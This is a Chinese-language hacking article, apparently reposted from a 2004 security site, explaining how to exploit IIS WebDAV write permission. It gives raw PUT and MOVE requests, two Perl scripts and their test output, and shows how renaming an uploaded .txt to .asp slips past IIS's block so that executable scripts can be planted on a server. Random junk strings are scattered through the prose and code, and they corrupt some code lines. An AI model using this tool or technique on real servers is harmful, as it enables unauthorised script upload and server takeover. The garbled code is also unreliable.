对iis写权限的利用

韩冰

作者：SuperHei 转自:http://www.4ngel.net

9 b+ W5 p9 E# L& i

大家可能看过《远程分析IIS设置》，里面对iis的各种设置进行了分析，我这里就对iis的写权限来分析下，以下引用《远程分析IIS设置》文章对iis写权限分析内容：

写权限

　　测试一个目录对于web用户是否具有写权限，采用如下方法：telnet到服务器的web端口(80)并发送一个如下请求：

; j% P8 H5 p6 v, r+ u1 T2 U

PUT /dir/my_file.txt HTTP/1.1 Host: iis-server & g6 E: ~. ?0 `( L+ q& G7 T/ AContent-Length: 10

　　这时服务器会返回一个100( 继续)的信息：

/ {3 E( X+ {4 B' y) i

HTTP/1.1 100 Continue Server: Microsoft-IIS/5.0 4 @, V2 A) ^* M! z2 |& q- ?% q( `: JDate: Thu, 28 Feb 2002 15:56:00 GMT

K1 H' W9 e% p/ y

　　接着，我们输入10个字母：

9 V8 h: c( H/ Q! z4 _0 IAAAAAAAAAA

　　送出这个请求后，看服务器的返回信息，如果是一个 201 Created响应：

2 @( Z8 A3 J, E- j9 O

. v$ X! P8 ~ S/ {4 XHTTP/1.1 201 Created 2 C: \$ H6 X c+ [* Y. M' |! K( hServer: Microsoft-IIS/5.0 Date: Thu, 28 Feb 2002 15:56:08 GMT Location: http://iis-server/dir/my_file.txt Content-Length: 0 Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, LOCK, UNLOCK

　　那么就说明这个目录的写权限是开着的，反之，如果返回的是一个403错误，那么写权限就是没有开起来，如果需要你认证，并且返回一个 401(权限禁止) 的响应的话，说明是开了写权限，但是匿名用户不允许。如果一个目录同时开了”写”和“脚本和可执行程序”的话，那么web用户就可以上传一个程序并且执行它，恐怖哦%^#$!~

5 j3 u$ ^1 R5 X

　　这里简单说明下：

F# M& O+ r, ZPUT /dir/my_file.txt HTTP/1.1 Host: iis-server Content-Length: 10

: t* X$ Z) u5 r1 b/ \- u

　　PUT：请求服务器将附件的实体储存在提供的请求URL处，如果该请求URL指向的资源已经存在，则附件实体应被看做是当前原始服务器上资源的修改版本。如果请求URL没有指向现存的资源，该URL将被该请求的用户代理定义成为一个新的资源，原始服务器将用该URL产生这个资源。 ' b% n- j8 m' K6 I　　Host：是HTTP请求的发送地址 　　Content-Length：是内容长度，也就是实体长度，该长度值和上传的文件大小一致

! ]- s* K! c: Q; V

　　用nc（telnet）提交很烦琐，我们这里写个简单的perl程序，来完成这个复杂的提交过程，在写代码时我们用binmode()方式打开文件，代码如下：

& s) t, @0 w% |& O( f

5 f5 n$ j' k* m/ l- G+ z' b* |7 @ ! l9 x; g0 {$ J- J0 G" K) O7 A" B

#!/usr/bin/perl ; i7 ^% Y+ D4 x8 b# Uuse I:Socket; $ARGC = @ARGV;

* O1 J3 O" W( b1 h# p: o! P. a

if ($ARGC != 4) { " c' m- N0 J; T4 V8 {　　print "usage0 127.0.0.1 80 kaka.exe /Scripts/file.exe\n"; 　　exit; } $host = @ARGV[0]; % n9 J7 D$ u+ ]8 m. y9 H$port = @ARGV[1]; : n I* B6 }& w8 x9 y$file = @ARGV[2]; $path = @ARGV[3];

& R2 O1 p6 D& f; H9 S! G, A$ o+ k; j

@s=stat("$file"); $size = $s[7]; #得到文件大小 8 {5 {, R ~0 K' o% w* R. U Bprint "$file size is $size bytes\n";

my $sock = I:Socket::INET->new(Proto =>"tcp", PeerAddr =>$host, PeerPort =>$port) || die "Sorry! Could not connect to $host \n"; . p# R2 Q4 s0 c) gprint $sock "PUT $path HTTP/1.1\n"; print $sock "Host: $host\n"; print $sock "Content-Length: $size\n\n"; #sock连接

open(FILE,"$file"); binmode(FILE); #用2进制打开文件

# e. G+ b$ B6 i- o. Q

while (read(FILE,$char,1024)) { #读取文件数据上传 6 e4 Z( D6 O5 \- X2 B　　print $sock "$char"; 5 G# S9 R' K8 L* {# |. Y; ^, }} ; Y' h" ]/ d1 ~; }) M* [print $sock "\n\n"; @req = <$sock>; print "please wait...\n"; $ s) q. q2 O* o5 H9 k8 Fsleep(2); if ($req[4]=~/200|201/){ 　　print "upfile Succeed!!!" ; #成功显示 + S2 H) \) N: a! m8 l' J. f} else{ ; I5 X* F3 a% h2 H　　print "upfile faile!!!\n\n"; 　　print @req;#如果失败显示返回错误 6 P7 i6 R' w0 W5 X% n} - v# x1 m* g* ] a8 t# i( Sclose $sock; close FILE;

　　下面我们测试下：

+ Z- |, D& \+ J, e

, Q0 w1 w7 K6 y C

C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 kaka.txt /Scripts/kaka.txt kaka.txt size is 14 bytes ( |' L. V+ M' Bplease wait... upfile Succeed!!!

C:\Inetpub\Scripts>dir kaka.txt 2 `( ^0 t4 B! A( V$ U2 n- l9 n驱动器 C 中的卷没有标签。 卷的序列号是 3CD1-479E

C:\Inetpub\Scripts 的目录

2004-05-05 00:37 14 kaka.txt $ V4 W% {# M6 M$ f1 ]1 个文件 14 字节 - Y; P% z; A Q5 W; t0 个目录 3,871,080,448 可用字节

　　这里我们把kaka.txt成功上传到了web目录Scripts下，以为程序中用了binmode()方式（2进制）打开文件，应该可以上传其他文件，我们先测试下exe文件：

5 \# ^& n1 V( y. F6 c+ j6 v: R6 q

O2 r1 A$ E5 h. g+ i% I, u D ! X1 r x! d- k6 Z

C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 perl.exe /Scripts/perl.exe perl.exe size is 20535 bytes 4 X# Y6 r# P' i3 {# q0 V7 `please wait... upfile Succeed!!!

% x% _! K' q) Q8 R$ _

C:\Inetpub\Scripts>dir perl.exe 驱动器 C 中的卷没有标签。 . r: A7 R# Y+ l0 q. U* f卷的序列号是 3CD1-479E

C:\Inetpub\Scripts 的目录

2004-05-05 00:42 20,535 perl.exe 1 个文件 20,535 字节 0 个目录 3,871,031,296 可用字节

　　成功，可以上传exe了，是不是可以上传任意文件呢？接着来测试asp文件：

8 W9 Q4 l2 F3 P2 p

C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 kaka.asp /Scripts/kaka.asp kaka.asp size is 4 bytes : h3 E( Q+ F6 k- L6 N, Bplease wait... upfile faile!!!

HTTP/1.1 100 Continue Server: Microsoft-IIS/5.0 . v+ I2 @7 p- kDate: Tue, 04 May 2004 16:45:51 GMT

HTTP/1.1 403 Forbidden Server: Microsoft-IIS/5.0 / T( r [3 M- eDate: Tue, 04 May 2004 16:45:51 GMT 2 R ^6 K0 o( M; k( G+ UConnection: close # L9 Q7 P/ d" t# T9 y6 N0 aContent-Type: text/html Content-Length: 44

<body><h2>HTTP/1.1 403 Forbidden</h2></body>

' p+ W/ N( n9 J) u* M6 p! e8 i9 v

　　失败！！提示HTTP/1.1 403 Forbidden错误，看来直接用post方式写asp不行了，经过测试只要是iis支持的文件类型都会产生HTTP/1.1 403 Forbidden错误。

8 n0 @3 S/ x( a9 I

　　那我们怎样才可以上传iis支持的文件类型文件呢？iis除了可以执行put，post，get等动作外，还可以执行COPY, MOVE等命令，呵呵！我们这可以先把本地asp上传到远程主机web目录下的txt等其他文件，在提过copy，move命令来改为asp。

　　我们还是先用nc提交测试下：

I" V2 k: [6 l) v" z 8 H* D* x1 K, Y# Q1 @! V

D:\>nc 127.0.0.1 80 ) S( ]; F: R" B2 r( s$ cMOVE /scripts/kaka.txt HTTP/1.1 % o. @1 P& F2 _% Z$ {; nHost:127.0.0.1 ; D( @# ?9 i5 y6 [+ ?0 NDestination: http://127.0.0.1/scripts/kaka.asp

HTTP/1.1 201 Created Server: Microsoft-IIS/5.0 , H' f, z8 Q! ~Date: Sun, 05 Oct 2003 09:30:59 GMT Location: http://127.0.0.1/scripts/x.asp Content-Type: text/xml Content-Length: 0

　　成功利用MOVE把/scripts/kaka.txt改名/scripts/kaka.asp。这样我们就可以结合put和move来完成通过iis写容易文件了。我们还是用perl来完成。

　　测试写asp成功：

# P; J5 P* x" Q6 G 8 S9 ^7 D1 [' k& q

C:\usr\bin>perl kaka.pl 127.0.0.1 80 kaka.asp /scripts/kaka.asp ************************************************************ $ U3 K/ U" {, z5 f5 w# B" {+ W6 pcodz by ≯SuperHei<QQ:123230273> && lanker<QQ:18779569> & x; t. K* w* K5 g; O, \& r8 C************************************************************ kaka.asp size is 4 bytes please wait... 2 j2 q" k7 x( Q3 p$ a$ L$ Gupfile Succeed!!! Modifyfile Succeed!!!

9 I V5 r) {2 W" _. s" _

　　最终的iiswrite.pl代码如下（由于写本文时，在网吧对于文章中代码是先又本人打“草稿”，又lanker测试并最终完成，THX lanker。）：

9 Z& R0 J; {9 i

#!/usr/bin/perl #The iiswrite Script

use I:Socket; $ARGC = @ARGV; print "*" x 60; ( @' P* R7 H F& ~- n% p2 rprint "\ncodz by ≯SuperHei<QQ:123230273> && lanker<QQ:18779569>\n"; & E) n2 d* {; r( J) p2 nprint "*" x 60,"\n"; if ($ARGC != 4) + }, X0 T5 P* }( D{ 　　print "usage0 127.0.0.1 80 kaka.txt /scripts/my_file.txt\n"; 6 [0 \) i% s% E4 ^　　exit; } $host = @ARGV[0]; $port = @ARGV[1]; $path = @ARGV[3]; $file = @ARGV[2];

* q; S+ ?; K; L" D8 y

@path=split("/",$path); $any = pop(@path); $path1=join("/",@path); 1 s7 v3 D: n/ g@s=stat("$file"); , D$ J) z1 a4 E5 E! k) L) z$size = $s[7];

print "$file size is $size bytes\n"; my $sock = I:Socket::INET->new(Proto =>"tcp", " C' P% b4 j }. M9 \! DPeerAddr =>$host, # K' ^1 ^8 H% K* t- [, R0 jPeerPort =>$port) || die "Sorry! Could not connect to $host \n"; 3 Y6 L9 J5 t- b/ [4 e* fprint $sock "PUT $path1/lanker.txt HTTP/1.1\n"; print $sock "Host: $host\n"; print $sock "Content-Length: $size\n\n"; open(FILE,"$file")|| die "Can't open $file"; $ E" m) f4 a$ G; dbinmode(FILE); / N, S, k3 l% x6 m3 s: owhile (read(FILE,$char,1024)) { 　　print $sock "$char"; d9 N- F. @5 M2 e) i) j# K} print $sock "\n\n"; @req = <$sock>; print "please wait...\n"; 6 `4 M1 y( ^# S5 _5 fsleep(2); 2 A- U5 l) \$ z6 G% nif ($req[4]=~/200|201/){ $ D3 u% E* G( X) d; W　　print "upfile Succeed!!!\n" ; } else{ 　　print "upfile faile!!!\n"; } 0 ^4 b; W* i# q: \# y- n8 bclose $sock; close FILE;

my $sock = I:Socket::INET->new(Proto =>"tcp", PeerAddr =>$host, : H$ c; e4 M4 J% P% N a: o/ t9 v1 @PeerPort =>$port) || die "Sorry! Could not connect to $host \n"; 6 a- q1 T! e) P; `print $sock "MOVE $path1/lanker.txt HTTP/1.1\n"; * y4 O$ v, o% I3 J3 Y, ]print $sock "Host: $host\n"; print $sock "Destination:http://$hostport$path\n\n\n\n"; + @# F8 N8 z( K6 s% O@req = <$sock>; if ($req[0]=~/20\d+|/){ o7 }1 t) E) I% g　　print "Modifyfile Succeed!!!" ; } ! N* W! H5 z, l! Y* T- Uelse{ 5 b9 E3 P! e# `　　print "upfile faile!!!"; ! @1 @. G2 i! F1 Z} + ]) ?8 v8 S& {2 h& U/ q& Xclose $sock